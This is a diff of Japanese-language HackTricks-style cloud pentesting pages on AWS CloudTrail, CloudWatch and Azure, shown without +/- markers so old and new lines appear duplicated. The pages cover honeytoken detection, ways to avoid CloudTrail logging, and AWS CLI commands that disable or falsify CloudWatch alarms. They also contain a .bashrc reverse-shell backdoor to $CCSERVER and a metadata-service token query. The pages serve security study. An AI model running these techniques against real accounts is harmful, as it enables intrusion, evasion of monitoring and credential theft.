各フォルダ内の各ログは **この形式に従った名前を持ちます**: **`AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz`**
ログファイル命名規則
![](<../../../../images/image (122).png>)
さらに、**ファイル整合性を確認するためのダイジェストファイル**は**同じバケット内にあります**
さらに、**ファイル整合性を確認するためのダイジェストファイル**は **同じバケット内にあります**
![](<../../../../images/image (195).png>)
### 複数アカウントからのログの集約
- ログファイルを配信するAWSアカウントでトレイルを作成します
- CloudTrailのためにクロスアカウントアクセスを許可するように、宛先S3バケットに権限を適用し、アクセスが必要な各AWSアカウントを許可します
- 他のAWSアカウントで新しいトレイルを作成し、ステップ1で作成したバケットを使用するように選択します
- ログファイルを配信する AWS アカウントでトレイルを作成します
- CloudTrail のためにクロスアカウントアクセスを許可するように、宛先 S3 バケットに権限を適用し、アクセスが必要な各 AWS アカウントを許可します
- 他の AWS アカウントで新しいトレイルを作成し、ステップ 1 で作成したバケットを使用するように選択します
ただし、すべてのログを同じS3バケットに保存できるとしても、複数のアカウントからのCloudTrailログを単一のAWSアカウントに属するCloudWatch Logsに集約することはできません。
ただし、すべてのログを同じ S3 バケットに保存できるとしても、複数のアカウントからの CloudTrail ログを単一の AWS アカウントに属する CloudWatch Logs に集約することはできません。
> [!CAUTION]
> アカウントには、**異なるトレイル**がCloudTrail **で有効**になっており、異なるバケットに同じ(または異なる)ログを保存できることを忘れないでください。
> アカウントには、**異なるトレイル**が CloudTrail **で有効**になっており、異なるバケットに同じ(または異なる)ログを保存できることを忘れないでください。
### すべての組織アカウントから1つのCloudTrailへ
### すべての組織アカウントから 1 つの CloudTrail
CloudTrailを作成する際、組織内のすべてのアカウントに対してCloudTrailを有効にし、ログを1つのバケットに取得するように指示することが可能です:
CloudTrail を作成する際、組織内のすべてのアカウントに対して CloudTrail を有効にし、ログを 1 つのバケットに集約するように指示することが可能です:
<figure><img src="../../../../images/image (200).png" alt=""><figcaption></figcaption></figure>
この方法で、すべてのアカウントのすべてのリージョンでCloudTrailを簡単に構成し、1つのアカウントにログを集中させることができますそのアカウントは保護する必要があります
この方法で、すべてのアカウントのすべてのリージョンで CloudTrail を簡単に構成し、1 つのアカウントにログを集中させることができます(そのアカウントは保護する必要があります)。
### ログファイルの確認
@@ -83,23 +83,23 @@ CloudTrail Event Historyでは、記録されたログをテーブルで確認
### Insights
**CloudTrail Insights**は自動的に**分析**し、CloudTrailトレイルからの書き込み管理イベントを**警告**し、**異常な活動**を通知します。例えば、`TerminateInstance`イベントの増加が確立されたベースラインと異なる場合、それはInsightイベントとして表示されます。これらのイベントは、**異常なAPI活動を見つけて対応することをこれまで以上に容易にします**
**CloudTrail Insights**は自動的に**管理イベントの書き込みを分析**し、**異常な活動**を**警告**します。例えば、`TerminateInstance`イベントの増加が確立されたベースラインと異なる場合、それはInsightイベントとして表示されます。これらのイベントは、**異常なAPI活動を見つけて対応することをこれまで以上に容易にします**
インサイトはCloudTrailログと同じバケットに保存されます`BucketName/AWSLogs/AccountID/CloudTrail-Insight`
### Security
| CloudTrail Log File Integrity | <ul><li>ログが改ざんされていないか(変更または削除)を検証</li><li><p>ダイジェストファイルを使用(各ファイルのハッシュを作成)</p><ul><li>SHA-256ハッシュ</li><li>デジタル署名のためのSHA-256とRSA</li><li>Amazonが所有する秘密鍵</li></ul></li><li>ダイジェストファイルの作成には1時間かかる毎時行われる</li></ul> |
| Control Name | Implementation Details |
| ------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| Stop unauthorized access | <ul><li><p>IAMポリシーとS3バケットポリシーを使用</p><ul><li>セキュリティチーム —> 管理者アクセス</li><li>監査人 —> 読み取り専用アクセス</li></ul></li><li>SSE-S3/SSE-KMSを使用してログを暗号化</li></ul> |
| Prevent log files from being deleted | <ul><li>IAMおよびバケットポリシーで削除アクセスを制限</li><li>S3 MFA削除を構成</li><li>ログファイル検証で検証</li></ul> |
| CloudTrail Log File Integrity | <ul><li>ログが改ざんされていないか(変更または削除)を検証します</li><li><p>ダイジェストファイルを使用します(各ファイルのハッシュを作成)</p><ul><li>SHA-256ハッシュ</li><li>デジタル署名のためのSHA-256とRSA</li><li>Amazonが所有する秘密鍵</li></ul></li><li>ダイジェストファイルを作成するのに1時間かかります毎時行われます</li></ul> |
| Stop unauthorized access | <ul><li><p>IAMポリシーとS3バケットポリシーを使用します</p><ul><li>セキュリティチーム —> 管理者アクセス</li><li>監査人 —> 読み取り専用アクセス</li></ul></li><li>ログを暗号化するためにSSE-S3/SSE-KMSを使用します</li></ul> |
| Prevent log files from being deleted | <ul><li>IAMおよびバケットポリシーで削除アクセスを制限します</li><li>S3 MFA削除を構成します</li><li>ログファイル検証で検証します</li></ul> |
## Access Advisor
AWS Access Advisorは、過去400日間のAWS **CloudTrailログを利用してインサイトを収集します**。CloudTrailは、AWSアカウント内で行われたAWS APIコールと関連イベントの履歴をキャプチャします。Access Advisorはこのデータを利用して**サービスが最後にアクセスされた時期を表示します**。CloudTrailログを分析することで、Access AdvisorはIAMユーザーまたはロールがどのAWSサービスにアクセスしたか、そしてそのアクセスがいつ行われたかを特定できます。これにより、AWS管理者は**権限の精緻化**に関する情報に基づいた意思決定を行うことができ、長期間アクセスされていないサービスを特定し、実際の使用パターンに基づいて過度に広範な権限を削減することができます。
AWS Access Advisorは、最後の400日間のAWS **CloudTrailログを利用してインサイトを収集します**。CloudTrailは、AWSアカウント内で行われたAWS APIコールと関連イベントの履歴をキャプチャします。Access Advisorはこのデータを利用して**サービスが最後にアクセスされた時期を表示します**。CloudTrailログを分析することで、Access AdvisorはIAMユーザーまたはロールがどのAWSサービスにアクセスしたか、そしてそのアクセスがいつ行われたかを特定できます。これにより、AWS管理者は**権限の精緻化**に関する情報に基づいた意思決定を行うことができ、長期間アクセスされていないサービスを特定し、実際の使用パターンに基づいて過度に広範な権限を削減することができます。
> [!TIP]
> したがって、Access Advisorは**ユーザーに与えられている不必要な権限について通知し**、管理者がそれらを削除できるようにします
> したがって、Access Advisorは**ユーザーに与えられている不必要な権限**について通知し、管理者がそれらを削除できるようにします
<figure><img src="../../../../images/image (78).png" alt=""><figcaption></figcaption></figure>
@@ -136,7 +136,7 @@ S3BucketName="random"
)
print(response)
```
より詳しい情報はCSVインジェクションについては、ページを確認してください
より詳しい情報はCSVインジェクションについては、以下のページを確認してください:
{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/formula-csv-doc-latex-ghostscript-injection.html
@@ -154,7 +154,7 @@ Honeytokensは**機密情報の流出を検出するために作成されます*
[**Pacu**](https://github.com/RhinoSecurityLabs/pacu/blob/79cd7d58f7bff5693c6ae73b30a8455df6136cca/pacu/modules/iam__detect_honeytokens/main.py#L57)には、キーが[**Canarytokens**](https://canarytokens.org/generate)**、** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**、** [**SpaceSiren**](https://github.com/spacesiren/spacesiren)**に属するかどうかを検出するためのいくつかのルールがあります:**
- **`canarytokens.org`**がロール名に表示されるか、アカウントID **`534261010715`**がエラーメッセージに表示される場合。
- **`canarytokens.org`**がロール名に表示される場合、またはエラーメッセージにアカウントID **`534261010715`**が表示される場合。
- 最近テストしたところ、彼らはアカウント**`717712589309`**を使用しており、名前に**`canarytokens.com`**の文字列がまだ含まれています。
- エラーメッセージのロール名に**`SpaceCrab`**が表示される場合。
- **SpaceSiren**はユーザー名を生成するために**uuids**を使用します:`[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}`
@@ -162,7 +162,7 @@ Honeytokensは**機密情報の流出を検出するために作成されます*
#### キーIDからアカウントIDを取得する
**アクセスキー**内**エンコードされた**アカウントIDを取得することができ、[**ここで説明されているように**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489)そのアカウントIDをHoneytokens AWSアカウントのリストと照合してください
**アクセスキー**内**エンコードされた**情報から**アカウントID**を取得でき、[**ここで説明されているように**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489)そのアカウントIDをHoneytokens AWSアカウントのリストと照合できます
```python
import base64
import binascii
@@ -181,34 +181,34 @@ return (e)
print("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML")))
```
Check more information in the [**orginal research**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489).
[**元の研究**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489)で詳細情報を確認してください。
#### ログを生成しない
最も効果的な手法は実際にはシンプルなものです。見つけたキーを使用して、自分の攻撃者アカウント内のサービスにアクセスします。これにより、**CloudTrailはあなた自身のAWSアカウント内にログを生成し、被害者のアカウント内には生成しません**。
このための最も効果的な手法は実際にはシンプルです。見つけたキーを使用して、自分の攻撃者アカウント内のサービスにアクセスします。これにより、**CloudTrailはあなた自身のAWSアカウント内にログを生成し、被害者のアカウント内には生成しません**。
出力には、アカウントIDとアカウント名を示すエラーが表示されるため、**それがHoneytokenであるかどうかを確認できす**。
問題は、出力にアカウントIDとアカウント名を示すエラーが表示されるため、**それがハニートークンであるかどうかを確認できることです**。
#### ログなしのAWSサービス
過去には、**CloudTrailにログを送信しないAWSサービスがいくつかありました**ここに[リストを見つけてください](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-unsupported-aws-services.html))。これらのサービスのいくつかは、無許可の者(ハニートークンキー)がアクセスしようとすると、**キー役割のARNを含む**エラーで**応答**します。
過去には、**CloudTrailにログを送信しないAWSサービスがいくつかありました**[こちらにリストがあります](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-unsupported-aws-services.html))。これらのサービスのいくつかは、無許可の者(ハニートークンキー)がアクセスしようとすると、**キー役割のARNを含む**エラーで**応答**します。
この方法で、**攻撃者はログをトリガーすることなくキーのARNを取得できます**。ARNには**AWSアカウントIDと名前**が表示されるため、ハニートークンの企業アカウントIDと名前を知るのは簡単で、攻撃者はトークンがハニートークンであるかどうかを特定できます。
この方法で、**攻撃者はログをトリガーすることなくキーのARNを取得できます**。ARNには**AWSアカウントIDと名前**が表示されるため、ハニートークンの企業アカウントIDと名前を知るのは簡単です。このようにして、攻撃者はトークンがハニートークンであるかどうかを特定できます。
![](<../../../../images/image (93).png>)
> [!CAUTION]
> CloudTrailログを生成しないことが発見されたすべての公開APIは現在修正されているため、自分で見つける必要があるかもしれません...
>
> 詳細については、[**original research**](https://rhinosecuritylabs.com/aws/aws-iam-enumeration-2-0-bypassing-cloudtrail-logging/)を確認してください。
> 詳細情報は[**元の研究**](https://rhinosecuritylabs.com/aws/aws-iam-enumeration-2-0-bypassing-cloudtrail-logging/)を確認してください。
### 第三者インフラへのアクセス
特定のAWSサービスは、**データベース**や**Kubernetes**クラスターEKSなどの**インフラを生成します**。ユーザーがこれらのサービスKubernetes APIなどに直接話しかける場合、**AWS APIを使用しないため**、CloudTrailはこの通信を確認できません。
特定のAWSサービスは、**データベース**や**Kubernetes**クラスターEKSなどの**インフラを生成します**。ユーザーがこれらのサービスKubernetes APIなど**直接話しかける**場合、**AWS APIを使用しないため**、CloudTrailはこの通信を確認できません。
したがって、EKSにアクセスできるユーザーがEKS APIのURLを発見した場合、ローカルでトークンを生成し、**CloudTrailに検出されることなくAPIサービスに直接話しかけることができます**。
詳細は以下に:
詳細情報は以下にあります
{{#ref}}
../../aws-post-exploitation/aws-eks-post-exploitation.md

View File

@@ -15,7 +15,7 @@ CloudWatch Log Event には、**各ログ行のサイズ制限が256KB** があ
- IAM および S3 内のセキュリティポリシーの変更
- AWS Management Console へのログイン試行の失敗
- 認証に失敗した API コール
- CloudWatch で検索フィルター: [https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html](https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html)
- CloudWatch で検索するためのフィルター: [https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html](https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html)
## Key concepts
@@ -47,7 +47,7 @@ CloudWatch Log Event には、**各ログ行のサイズ制限が256KB** があ
単位は、メトリクスに関連付けられた測定タイプです。単位は、メトリクスデータにコンテキストと意味を提供するのに役立ちます。一般的な単位には、パーセント、バイト、秒、カウントが含まれます。
- **例**: CPUUtilization はパーセントで測定される場合があり、NetworkIn はバイトで測定される場合があります。
- **例**: CPUUtilization はパーセントで測定される場合がありますが、NetworkIn はバイトで測定される場合があります。
## CloudWatch Features
@@ -68,33 +68,33 @@ CloudWatch Log Event には、**各ログ行のサイズ制限が256KB** があ
AWS CloudWatch の **Metric Streams** は、CloudWatch メトリクスを選択した宛先にほぼリアルタイムで継続的にストリーミングすることを可能にします。これは、AWS の外部ツールを使用した高度な監視、分析、およびカスタムダッシュボードに特に便利です。
**Metric Streams 内のメトリクスデータ** は、ストリーミングされている実際の測定値またはデータポイントを指します。これらのデータポイントは、AWS リソースの CPU 利用率、メモリ使用量など、さまざまなメトリクスを表します。
**Metric Data** は、Metric Streams 内の実際の測定値またはデータポイントを指します。これらのデータポイントは、AWS リソースの CPU 利用率、メモリ使用量など、さまざまなメトリクスを表します。
**例の使用ケース**:
- 高度な分析のために、リアルタイムメトリクスをサードパーティの監視サービスに送信する。
- 長期保存およびコンプライアンスのために、Amazon S3 バケットにメトリクスをアーカイブする。
- 長期保存コンプライアンスのために、Amazon S3 バケットにメトリクスをアーカイブする。
### Alarm
**CloudWatch Alarms** は、メトリクスを監視し、事前に定義された閾値に基づいてアクションを実行します。メトリクスが閾値を超えると、アラームは SNS 経由で通知を送信したり、オートスケーリングポリシーをトリガーしたり、AWS Lambda 関数を実行したりするなど、1 つ以上のアクションを実行できます。
**主コンポーネント**:
**主コンポーネント**:
- **閾値**: アラームがトリガーされる値。
- **評価期間**: データが評価される期間の数。
- **アラームに必要なデータポイント**: アラームをトリガーするために到達した閾値のある期間の数。
- **アクション**: アラーム状態がトリガーされたときに何が起こるか(例: SNS 経由で通知)。
- **アラームに必要なデータポイント**: アラームをトリガーするために必要な閾値に達した期間の数。
- **アクション**: アラーム状態がトリガーされたときに何が起こるか(例SNS 経由で通知)。
**例の使用ケース**:
- EC2 インスタンスの CPU 利用率を監視し、5 分間連続して 80% を超えた場合に SNS 経由で通知を送信する。
- EC2 インスタンスの CPU 利用率を監視し、5 分間 80% を超えた場合に SNS 経由で通知を送信する。
### Anomaly Detectors
**Anomaly Detectors** は、機械学習を使用してメトリクスの異常を自動的に検出します。異常検出を任意の CloudWatch メトリクスに適用して、問題を示す可能性のある通常のパターンからの逸脱を特定できます。
**主コンポーネント**:
**主コンポーネント**:
- **モデルのトレーニング**: CloudWatch は、過去のデータを使用してモデルをトレーニングし、正常な動作がどのようなものかを確立します。
- **異常検出バンド**: メトリクスの期待される値の範囲を視覚的に表現したもの。
@@ -105,28 +105,28 @@ AWS CloudWatch の **Metric Streams** は、CloudWatch メトリクスを選択
### Insight Rules and Managed Insight Rules
**Insight Rules** は、メトリクスデータ内のトレンドを特定し、スパイクその他の興味深いパターンを検出するために、**強力な数学的表現**を使用してアクションを実行すべき条件を定義します。これらのルールは、リソースのパフォーマンス利用状況における異常や異常な動作を特定するのに役立ちます。
**Insight Rules** は、**強力な数学的表現**を使用してメトリクスデータ内のトレンド、スパイク、またはその他の興味深いパターンを特定することを可能にします。これらのルールは、リソースのパフォーマンス利用状況における異常や異常な動作を特定するのに役立ちます。
**Managed Insight Rules** は、AWS によって提供される事前構成された **インサイトルール** です。特定の AWS サービスや一般的な使用ケースを監視するように設計されており、詳細な構成なしで有効にできます。
**例の使用ケース**:
- RDS パフォーマンスの監視: CPU 利用率、メモリ使用量、ディスク I/O などの主要なパフォーマンス指標を監視する Amazon RDS の管理インサイトルールを有効にします。これらのメトリクスのいずれかが安全な運用閾値を超えた場合、ルールはアラートや自動的な緩和アクションをトリガーできます。
- RDS パフォーマンスの監視: CPU 利用率、メモリ使用量、ディスク I/O などの主要なパフォーマンス指標を監視する Amazon RDS の管理インサイトルールを有効にします。これらのメトリクスのいずれかが安全な運用閾値を超えた場合、ルールはアラートまたは自動緩和アクションをトリガーできます。
### CloudWatch Logs <a href="#cloudwatch-logs" id="cloudwatch-logs"></a>
アプリケーションやシステムからの **ログを集約および監視** することを可能にし**AWSサービス**CloudTrail を含む) **アプリ/システム** からのログを集約します**CloudWatch Agent** をホストにインストールできます)。ログは **無期限に保存** でき(ロググループの設定に依存)、エクスポートできます。
アプリケーションやシステムからの **ログを集約および監視** することを可能にします。**AWSサービス**CloudTrail を含む)および **アプリ/システム** からのログ(**CloudWatch Agent** をホストにインストールできます)。ログは **無期限に保存** でき(ロググループの設定に依存)、エクスポートできます。
**要素**:
| **ロググループ** | 同じ保持、監視、およびアクセス制御設定を共有する **ログストリームのコレクション** |
| 用語 | 定義 |
| ------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **ログストリーム** | **同じソース**を共有する **ログイベント** のシーケンス |
| **サブスクリプションフィルター** | 特定のロググループ内のイベントに一致する **フィルターパターンを定義し**、それらを Kinesis Data Firehose ストリーム、Kinesis ストリーム、または Lambda 関数に送信します |
| **ロググループ** | 同じ保持、監視、およびアクセス制御設定を共有する **ログストリームのコレクション** |
| **ログストリーム** | **同じソース**を共有する **ログイベントのシーケンス** |
| **サブスクリプションフィルター** | 特定のロググループ内のイベントに一致する **フィルターパターンを定義し**、それらを Kinesis Data Firehose ストリーム、Kinesis ストリーム、または Lambda 関数に送信します。 |
### CloudWatch Monitoring & Events
CloudWatch の **基本** は、データを **5 分ごと** に集約します(**詳細** は **1 分ごと** に集約します)。集約後、アラームの閾値を **チェック** し、トリガーする必要があるかどうかを確認します。\
CloudWatch の **基本** は、データを **5 分ごとに集約** します(**詳細** は **1 分ごと** 行います)。集約後、アラームの閾値を **チェック** し、トリガーが必要かどうかを確認します。\
その場合、CloudWatch はイベントを送信し、自動アクションAWS Lambda 関数、SNS トピック、SQS キュー、Kinesis ストリーム)を実行する準備ができます。
### Agent Installation
@@ -134,7 +134,7 @@ CloudWatch の **基本** は、データを **5 分ごと** に集約します
マシン/コンテナ内にエージェントをインストールして、ログを自動的に CloudWatch に送信できます。
- **ロールを作成**し、**インスタンスに添付**して、CloudWatch がインスタンスからデータを収集し、AWS Systems Manager SSM と対話できるようにする権限を付与しますCloudWatchAgentAdminPolicy & AmazonEC2RoleforSSM
- **エージェントをダウンロード**し、**EC2 インスタンスにインストール**します ([https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip](https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip))。EC2 内からダウンロードするか、AWS Systems Manager を使用して自動的にインストールできます。パッケージ AWS-ConfigureAWSPackage を選択します。
- **エージェントをダウンロード**し、**EC2 インスタンスにインストール**します ([https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip](https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip))。EC2 内からダウンロードするか、AWS Systems Manager を使用して自動的にインストールすることができます。パッケージ AWS-ConfigureAWSPackage を選択します。
- **CloudWatch Agent を構成**し、**起動**します。
ロググループには多くのストリームがあります。ストリームには多くのイベントがあります。そして、各ストリーム内のイベントは順序が保証されています。
@@ -212,13 +212,13 @@ aws events describe-event-source --name <name>aws events list-replays
aws events list-api-destinations
aws events list-event-buses
```
## ポストエクスプロイテーション / バイパス
## Post-Exploitation / Bypass
### **`cloudwatch:DeleteAlarms`,`cloudwatch:PutMetricAlarm` , `cloudwatch:PutCompositeAlarm`**
この権限を持つ攻撃者は、組織の監視およびアラートインフラストラクチャを大幅に損なう可能性があります。既存のアラームを削除することで、攻撃者は管理者に重要なパフォーマンスの問題、セキュリティ侵害、または運用の失敗を通知する重要なアラートを無効にすることができます。さらに、メトリックアラームを作成または変更することで、攻撃者は誤ったアラートで管理者を誤導したり、正当なアラームを無効にしたりすることができ、悪意のある活動を隠蔽し、実際のインシデントに対する迅速な対応を妨げることができます。
さらに、**`cloudwatch:PutCompositeAlarm`** 権限を持つ攻撃者は、コンポジットアラームAがコンポジットアラームBに依存し、コンポジットアラームBもコンポジットアラームAに依存するようなコンポジットアラームのループまたはサイクルを作成することができます。このシナリオでは、サイクルの一部であるコンポジットアラームを削除することは不可能です。なぜなら、削除したいアラームに依存するコンポジットアラームが常に存在するからです。
さらに、**`cloudwatch:PutCompositeAlarm`** 権限を持つ攻撃者は、複合アラームAが複合アラームBに依存し、複合アラームBも複合アラームAに依存するような複合アラームのループまたはサイクルを作成することができます。このシナリオでは、サイクルの一部である複合アラームを削除することは不可能です。なぜなら、削除したいアラームに依存する複合アラームが常に存在するからです。
```bash
aws cloudwatch put-metric-alarm --cli-input-json <value> | --alarm-name <value> --comparison-operator <value> --evaluation-periods <value> [--datapoints-to-alarm <value>] [--threshold <value>] [--alarm-description <value>] [--alarm-actions <value>] [--metric-name <value>] [--namespace <value>] [--statistic <value>] [--dimensions <value>] [--period <value>]
aws cloudwatch delete-alarms --alarm-names <value>
@@ -227,7 +227,7 @@ aws cloudwatch put-composite-alarm --alarm-name <value> --alarm-rule <value> [--
次の例は、メトリックアラームを無効にする方法を示しています:
- このメトリックアラームは、特定のEC2インスタンスの平均CPU使用率を監視し、300秒ごとにメトリックを評価し、6つの評価期間合計30分を必要とします。平均CPU使用率がこれらの期間のうち少なくとも4つで60%を超えると、アラームがトリガーされ、指定されたSNSトピックに通知が送信されます。
- 閾値を99%を超えるように変更し、期間を10秒に設定し、評価期間を86408640期間の10秒は1日に相当に設定し、アラームのデータポイントも8640に設定すると、CPU使用率が24時間全体で10秒ごとに99%を超える必要があり、アラームがトリガーされます。
- 閾値を99%を超えるように変更し、期間を10秒に設定し、評価期間を86408640期間の10秒は1日に相当に設定し、アラームのデータポイントも8640に設定すると、アラームをトリガーするには、CPU使用率が24時間全体で10秒ごとに99%を超える必要があります。
{{#tabs }}
{{#tab name="Original Metric Alarm" }}
@@ -254,7 +254,7 @@ aws cloudwatch put-composite-alarm --alarm-name <value> --alarm-rule <value> [--
```
{{#endtab }}
{{#tab name="修正されたメトリックアラーム" }}
{{#tab name="Modified Metric Alarm" }}
```json
{
"Namespace": "AWS/EC2",
@@ -279,13 +279,13 @@ aws cloudwatch put-composite-alarm --alarm-name <value> --alarm-rule <value> [--
{{#endtab }}
{{#endtabs }}
**潜在的な影響**: 重要なイベントの通知がない、潜在的な未検出の問題、誤警報、正当な警報の抑制、実際のインシデントの検出を見逃す可能性。
**潜在的な影響**: 重要なイベントに対する通知の欠如、潜在的な未検出の問題、誤警報、正当な警報の抑制、そして実際のインシデントの検出を見逃す可能性。
### **`cloudwatch:DeleteAlarmActions`, `cloudwatch:EnableAlarmActions` , `cloudwatch:SetAlarmState`**
アラームアクションを削除することで、攻撃者はアラーム状態に達したときに管理者への通知や自動スケーリング活動のトリガーなど、重要な警や自動応答が発動するのを防ぐことができます。不適切にアラームアクションを有効化または再有効化することも、以前に無効化されたアクションを再活性化したり、どのアクションがトリガーされるかを変更したりすることで、予期しない動作を引き起こし、インシデント対応において混乱や誤方向を招く可能性があります。
アラームアクションを削除することで、攻撃者はアラーム状態に達したときに管理者への通知や自動スケーリング活動のトリガーなど、重要な警や自動応答が発動するのを防ぐことができます。不適切にアラームアクションを有効化または再有効化することも、以前に無効化されたアクションを再活性化したり、どのアクションがトリガーされるかを変更したりすることで、予期しない動作を引き起こし、インシデント対応において混乱や誤方向を招く可能性があります。
さらに、権限を持つ攻撃者はアラーム状態を操作し、管理者を混乱させるために偽のアラームを作成したり、進行中の悪意のある活動や重大なシステム障害を隠すために正当なアラームを無効にしたりすることができます。
さらに、権限を持つ攻撃者はアラーム状態を操作し、管理者を気を散らせたり混乱させたりするために偽のアラームを作成したり、進行中の悪意のある活動や重大なシステム障害を隠すために正当なアラームを無効にしたりすることができます。
- **`SetAlarmState`** をコンポジットアラームで使用すると、コンポジットアラームが実際の状態に戻ることは保証されません。子アラームのいずれかが状態を変更したときにのみ、実際の状態に戻ります。また、設定を更新すると再評価されます。
```bash
@@ -323,7 +323,7 @@ aws cloudwatch put-anomaly-detector [--cli-input-json <value> | --namespace <val
```
{{#endtab }}
{{#tab name="修正されたメトリック異常検出器" }}
{{#tab name="Modified Metric Anomaly Detector" }}
```json
{
"SingleMetricAnomalyDetector": {
@@ -360,7 +360,7 @@ aws cloudwatch put-anomaly-detector [--cli-input-json <value> | --namespace <val
aws cloudwatch delete-dashboards --dashboard-names <value>
aws cloudwatch put-dashboard --dashboard-name <value> --dashboard-body <value>
```
**潜在的影響**: 監視の可視性の喪失と誤解を招く情報。
**潜在的影響**: 監視の可視性の喪失と誤解を招く情報。
### **`cloudwatch:DeleteInsightRules`, `cloudwatch:PutInsightRule` ,`cloudwatch:PutManagedInsightRule`**
@@ -370,7 +370,7 @@ aws cloudwatch delete-insight-rules --rule-names <value>
aws cloudwatch put-insight-rule --rule-name <value> --rule-definition <value> [--rule-state <value>]
aws cloudwatch put-managed-insight-rules --managed-rules <value>
```
**潜在的影響**: パフォーマンスの問題や異常を検出し対応するのが難しくなり、誤った意思決定を引き起こし、悪意のある活動やシステムの障害を隠す可能性があります。
**潜在的影響**: パフォーマンスの問題や異常を検出し対応するのが難しくなり、誤った意思決定を引き起こし、悪意のある活動やシステムの障害を隠す可能性があります。
### **`cloudwatch:DisableInsightRules`, `cloudwatch:EnableInsightRules`**
@@ -383,11 +383,11 @@ aws cloudwatch enable-insight-rules --rule-names <value>
### **`cloudwatch:DeleteMetricStream` , `cloudwatch:PutMetricStream` , `cloudwatch:PutMetricData`**
**`cloudwatch:DeleteMetricStream`** 、 **`cloudwatch:PutMetricStream`** の権限を持つ攻撃者は、メトリックデータストリームを作成および削除でき、セキュリティ、監視、データの整合性が損なわれる可能性があります:
**`cloudwatch:DeleteMetricStream`** 、**`cloudwatch:PutMetricStream`** の権限を持つ攻撃者は、メトリックデータストリームを作成および削除でき、セキュリティ、監視、データの整合性が損なわれる可能性があります:
- **悪意のあるストリームの作成**: 機密データを不正な宛先に送信するメトリックストリームを作成する。
- **リソースの操作**: 過剰なデータを持つ新しいメトリックストリームの作成は、多くのノイズを生み出し、誤ったアラートを引き起こし、真の問題を隠す可能性があります。
- **監視の中断**: メトリックストリームを削除することで、攻撃者は監視データの継続的な流れを中断させます。このようにして、彼らの悪意のある活動は効果的に隠されます。
- **リソースの操作**: 過剰なデータを持つ新しいメトリックストリームの作成は、多くのノイズを生じさせ、誤ったアラートを引き起こし、真の問題を隠す可能性があります。
- **監視の中断**: メトリックストリームを削除することで、攻撃者は監視データの継続的な流れを妨害します。このようにして、彼らの悪意のある活動は効果的に隠されます。
同様に、**`cloudwatch:PutMetricData`** の権限を持つことで、メトリックストリームにデータを追加することが可能になります。これにより、不適切なデータの量が原因でDoSが発生し、完全に無用になる可能性があります。
```bash
@@ -395,11 +395,11 @@ aws cloudwatch delete-metric-stream --name <value>
aws cloudwatch put-metric-stream --name <value> [--include-filters <value>] [--exclude-filters <value>] --firehose-arn <value> --role-arn <value> --output-format <value>
aws cloudwatch put-metric-data --namespace <value> [--metric-data <value>] [--metric-name <value>] [--timestamp <value>] [--unit <value>] [--value <value>] [--dimensions <value>]
```
特定のEC2インスタンスに対するCPU使用率70%に対応するデータを追加する例:
EC2インスタンスCPU使用率70%に相当するデータを追加する例:
```bash
aws cloudwatch put-metric-data --namespace "AWS/EC2" --metric-name "CPUUtilization" --value 70 --unit "Percent" --dimensions "InstanceId=i-0123456789abcdefg"
```
**潜在的影響**: 監視データの流れの中断、異常やインシデントの検出への影響、リソースの操作、過剰なメトリックストリームの作成によるコストの増加。
**潜在的影響**: 監視データの流れの中断により、異常やインシデントの検出、リソースの操作、過剰なメトリックストリームの作成によるコストの増加に影響を与える
### **`cloudwatch:StopMetricStreams`, `cloudwatch:StartMetricStreams`**

View File

@@ -10,21 +10,13 @@ Azure Cloud Shellは、永続的なストレージと自動認証を備えたAzu
* **Startup Scripts**: .bashrcのようなファイルは、各セッションの開始時に自動的に実行され、クラウドシェルが起動する際に永続的な実行を可能にします。
Example backdoor in .bashrc:
{% code overflow="wrap" %}
```bash
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc
```
{% endcode %}
このバックドアは、ユーザーによってクラウドシェルが終了した後でも、5分間コマンドを実行できます。
さらに、インスタンスの詳細とトークンのためにAzureのメタデータサービスをクエリします
{% code overflow="wrap" %}
さらに、インスタンスの詳細とトークンのためにAzureのメタデータサービスをクエリします:
```bash
curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -s
```
{% endcode %}
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -10,9 +10,9 @@
../az-services/az-storage.md
{{#endref}}
### Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read
### `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read`
この権限を持つプリンシパルは、コンテナ内のブロブ(ファイル)を**一覧表示**し、**機密情報**を含む可能性のあるファイルを**ダウンロード**することができます。
この権限を持つプリンシパルは、コンテナ内のブロブ(ファイル)を**リスト**し、**機密情報**を含む可能性のあるファイルを**ダウンロード**することができます。
```bash
# e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read
az storage blob list \
@@ -24,9 +24,9 @@ az storage blob download \
--container-name <container-name> \
